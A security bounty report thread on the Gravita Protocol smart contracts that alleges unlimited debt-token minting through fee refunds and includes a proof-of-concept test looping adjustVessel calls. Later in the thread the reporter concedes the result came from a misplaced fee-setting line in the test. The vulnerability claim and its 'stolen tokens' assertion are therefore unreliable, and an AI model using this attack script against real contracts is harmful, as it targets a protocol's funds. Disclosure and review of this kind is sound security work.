Unrestricted debt token minting when borrowing fee is lower than the refund fees

[0xJuancito]

Impact

Unrestricted debt token minting.

Borrowers can make profit of any amount of debt token in expense of the protocol, by adjusting their positions continuously when borrowing fees are lower than refund fees.

Borrowing fees are configurable, and have minimum and maximum values. There are even tests showcasing fees of 0%, which will lead the most damage to the protocol. Any value < 0.45% makes the attack possible.

Proof of Concept

The problem lies on the refundableFeeAmount value in FeeCollector::increaseDebt().

If that value is bigger than the borrowingFee for the collateral, malicious borrowers can decrease and increase their debt in the position continuously, while taking profit from fees on each transaction.

The result will be minting debt tokens indefinitely, while their positions remains the same (both debt and collateral). They also don't have to provide extra collateral (other than the one they instantly recover on the attack).

    function increaseDebt(
        address _borrower,
        address _asset,
        uint256 _feeAmount
    ) external override onlyBorrowerOperations {
        uint256 minFeeAmount = (MIN_FEE_FRACTION * _feeAmount) / 1 ether;
        uint256 refundableFeeAmount = _feeAmount - minFeeAmount;
        uint256 feeToCollect = _createOrUpdateFeeRecord(_borrower, _asset, refundableFeeAmount);
        _collectFee(_borrower, _asset, minFeeAmount + feeToCollect);
    }

Link to code

The attack can be performed by calling BorrowerOperations::adjustPosition():

• First increase the debt -> Pay a "low" borrowing fee (or zero)
• Then decrease the debt -> Take refund fee profit (bigger than the borrowing fee)
• Repeat

The setBorrowingFee expects values from 0% - 10%.

With the current setup and MIN_FEE_FRACTION defined in FeeCollector. Any borrowingFee < 0.45% results in profit for the borrower taken from the protocol

    function setBorrowingFee(
        address _collateral,
        uint256 borrowingFee
    )
        public
        override
        onlyOwner
        safeCheck("Borrowing Fee Floor", _collateral, borrowingFee, 0, 1000) /// 0% - 10%
    {
        CollateralParams storage collParams = collateralParams[_collateral];
        uint256 oldBorrowing = collParams.borrowingFee;
        uint256 newBorrowingFee = (DECIMAL_PRECISION / 10000) * borrowingFee;
        collParams.borrowingFee = newBorrowingFee;
        emit BorrowingFeeChanged(oldBorrowing, newBorrowingFee);
    }

Link to code

Add this test to the describe("BorrowerOperations Mechanisms") in BorrowerOperationsTest.js:

it.only("steal fees", async () => {
    // Open a Vessel
    await openVessel({
        asset: erc20.address,
        extraVUSDAmount: toBN(dec(100000, 18)),
        ICR: toBN(dec(2, 18)),
        extraParams: { from: D },
    })

    // Keep track of the balances before the attack
    const vesselColStart = (await contracts.vesselManager.Vessels(D, erc20.address)).coll
    const vesselDebtStart = await contracts.vesselManager.getVesselDebt(erc20.address, D)
    const vesselStakeStart = (await contracts.vesselManager.Vessels(D, erc20.address)).stake
    const userColStart = await erc20.balanceOf(D)
    const userDebtStart = await debtToken.balanceOf(D)

    // Reduce the borrowing fee to show the worst case scenario
    // With the default values configured, `borrowingFee < 44` will be sufficient for the attack (0.44%)
    // Meaning `refundFee - borrowingFee > 0`
    // In that case, the debt will increase, but the refunds will still be higher => Enough to take profit from the attack
    await adminContract.setBorrowingFee(erc20.address, "0")

    // This loop performs the attack
    // The attack can be repeated indefinitely.
    const repeat = 5
    for (let i = 0; i < repeat; i++) {
        await borrowerOperations.adjustVessel(
            erc20.address,
            0,
            "0",
            "30000000000000000000000",
            true,
            D,
            D,
            { from: D }
        )

        await borrowerOperations.adjustVessel(
            erc20.address,
            0,
            "0",
            "30000000000000000000000",
            false,
            D,
            D,
            { from: D }
        )
    }

    // Keep track of final balances
    const vesselColEnd = (await contracts.vesselManager.Vessels(D, erc20.address)).coll
    const vesselDebtEnd = await contracts.vesselManager.getVesselDebt(erc20.address, D)
    const vesselStakeEnd = (await contracts.vesselManager.Vessels(D, erc20.address)).stake
    const userColEnd = await erc20.balanceOf(D)
    const userDebtEnd = await debtToken.balanceOf(D)

    console.log("Vessel Col Start:  ", vesselColStart.toString())
    console.log("Vessel Col End:    ", vesselColEnd.toString())
    console.log("")

    console.log("Vessel Debt Start: ", vesselDebtStart.toString())
    console.log("Vessel Debt End:   ", vesselDebtEnd.toString())
    console.log("")

    console.log("Vessel Stake Start:", vesselDebtStart.toString())
    console.log("Vessel Stake End:  ", vesselDebtEnd.toString())
    console.log("")

    console.log("User Col Start:    ", userColStart.toString())
    console.log("User Col End:      ", userColEnd.toString())
    console.log("")

    console.log("User Debt Start:   ", userDebtStart.toString())
    console.log("User Debt End:     ", userDebtEnd.toString())
    console.log("")

    // Assert that no other balances have changed
    assert.equal(vesselDebtStart.toString(), vesselDebtEnd.toString())
    assert.equal(vesselColStart.toString(), vesselColEnd.toString())
    assert.equal(vesselStakeStart.toString(), vesselStakeEnd.toString())
    assert.equal(userColStart.toString(), userColEnd.toString())

    // Stolen debt tokens (by minting without increasing debt in the vessel)
    const stolenDebtTokens = (userDebtEnd - userDebtStart).toString();
    const expectedStolenDebtTokens = "353802907894836900000"
    assert.equal(stolenDebtTokens, expectedStolenDebtTokens)
})

Tools Used

Manual review

Recommended Mitigation Steps

_sRecord.amount in FeeCollector should be calculated based on the corresponding borrowingFee for the collateral, so that refunded fees can't exceed borrower fees. This way the protocol is safe from someone trying to take profit on fees.

This means that when calling FeeCollector::increasingDebt(), the recorded refundableFeeAmount has to be lower than the borrowing fees:

    function increaseDebt(
        address _borrower,
        address _asset,
        uint256 _feeAmount
    ) external override onlyBorrowerOperations {
        uint256 minFeeAmount = (MIN_FEE_FRACTION * _feeAmount) / 1 ether;
        uint256 refundableFeeAmount = _feeAmount - minFeeAmount; // @audit
        uint256 feeToCollect = _createOrUpdateFeeRecord(_borrower, _asset, refundableFeeAmount);
        _collectFee(_borrower, _asset, minFeeAmount + feeToCollect);
    }

[0xfornax]

We appreciate the report, but this attack considers an admin account zeroing the borrowing fees, which falls into the limitation "Attacks that require access to leaked private keys or trusted addresses".

[0xJuancito]

We appreciate the report, but this attack considers an admin account zeroing the borrowing fees, which falls into the limitation "Attacks that require access to leaked private keys or trusted addresses".

1. This is not an attack by the admin, but the attack can be performed by an anyone as described in the Issue. It does not need access to trusted addresses or leaked private keys.
2. The borrowingFee value can be configured between 0 and 1000 (0 - 10%), which are valid values that can be set for any collateral. So, this doesn't either fall under admin misconfiguration either.
3. The attack does not need the borrowing fee to be zero, but a value below 0.45%. The default value is 0.5% (the test shows 0% as it is the valid value that makes the attack worse).
4. The impact is CRITICAL. As anyone will be able to mint any amount of debt tokens, which is the same as "stealing" those tokens from the protocol.
5. The POC shows that the attack is valid and can be performed by any address.
6. As it was stated in point 2, the attack works for any fee below 0.45%, but there are even tests on the test suite showcasing fees of 0%

@0xfornax Please consider reviewing this issue as it is valid in terms of the contest as described on the points above, and will put the protocol at serious risk if not addressed.

I can help with an additional suggestion for a coded mitigation if needed.

Snippet mentioned in the issue showing that this is issue happens for valid values:

    function setBorrowingFee(
        address _collateral,
        uint256 borrowingFee
    )
        public
        override
        onlyOwner
        safeCheck("Borrowing Fee Floor", _collateral, borrowingFee, 0, 1000) /// 0% - 10% <======

Additionally, some tests that show the usage of zero fees (the attack works for any fee below 0.45% still):

• https://github.com/Gravita-Protocol/Gravita-SmartContracts/blob/main/test/gravita/BorrowerOperationsTest.js#L1766
• https://github.com/Gravita-Protocol/Gravita-SmartContracts/blob/main/test/gravita/BorrowerOperationsTest.js#L3069
• https://github.com/Gravita-Protocol/Gravita-SmartContracts/blob/main/test/gravita/BorrowerOperationsTest.js#L3125
• https://github.com/Gravita-Protocol/Gravita-SmartContracts/blob/main/test/gravita/BorrowerOperationsTest.js#L3185
• https://github.com/Gravita-Protocol/Gravita-SmartContracts/blob/main/test/gravita/BorrowerOperationsTest.js#L6186

[0xfornax]

This attack requires an admin key as only admins can lower the borrowing fee to under 0.5%.

[0xJuancito]

This attack requires an admin key as only admins can change the borrowing fee.

This issue does not suggest that an attacker changes the borrowing fee.

Borrowing fees are configurable by admins. It is expected that an admin can set borrowing fees under 0.5% for some collateral at any given time. This value is validated on code.

As soon as an admin sets this valid value under 0.45%, an attacker can perform the attack and mint any amount of tokens.

If the intention of the protocol is not to set any value under 0.45%, this means that this issue is valid, as this is an allowed value.

As shown on the previous comments, there are even with tests showcasing this behavior. Meaning that the protocol accepts these values as values that can be set for some new collateral at any point.

The line safeCheck("Borrowing Fee Floor", _collateral, borrowingFee, 0, 1000) /// 0% - 10% indicates that these limits are intentional.

On top of that, the vulnerability does not rely on the configured value, but on the miscalculation addressed on the increaseDebt function, where the borrowing fee is not considered.

[spider-g]

Hello Juancito!

Thank you for expressing your concern. We genuinely appreciate your interest in assisting us in building a secure platform. I understand that there may have been a slight misunderstanding regarding the functionality of our FeeCollector, and I would be delighted to provide a clearer explanation to alleviate any confusion.

Whenever your debt increases, the platform applies a borrowing fee (emit BorrowingFeePaid event). This fee amount is then sent as an argument to the FeeCollector.increaseDebt(_feeAmount) function. In cases where you acquire a new loan resulting in an increase in debt, but the borrowing fee is set to zero, no amount is sent to the FeeCollector contract.

When a borrowing fee is applicable, we allocate a portion equivalent to one week's worth of interest, denoted as the MIN_FEE_FRACTION, and collect it for the platform (emit FeeCollected event). The remaining fee balance is retained and can be refunded to you if you repay the loan before it reaches the expiration period (which is six months minus the one week you have already paid for).

Each time you make a partial repayment on your loan, you receive a proportional refund, indicated by the FeeRefunded event. This adjustment updates your refundable record accordingly. Additionally, we also collect a portion of the expired refund, as some time has passed, and you are no longer eligible for that particular portion.

It is essential to understand that a user can never receive a refund exceeding the total fees they have paid. The fee balances are maintained on a per-user basis rather than as a cumulative total.

What you experienced in your test scenario was the refunding of a portion of the initial 0.5% borrowing fee as you made partial repayments on your first loan.

I have made enhancements to your test case and included relevant code in our "hats-issue-242" branch. If you wish to witness it in action, please feel free to check it out (BorrowerOperationsTest.js).

I hope this clarifies matters for you. Please feel free to reach out if you have any further questions or concerns.

Cheers!

[0xJuancito]

Thanks @gbirckan for taking the time to assess the validity of the issue.

The returned fees were due to a misplacement of the await adminContract.setBorrowingFee(erc20.address, "0") in the test, placing it after the vessel was open.

It is clarified. I appreciate the time you took.

Best!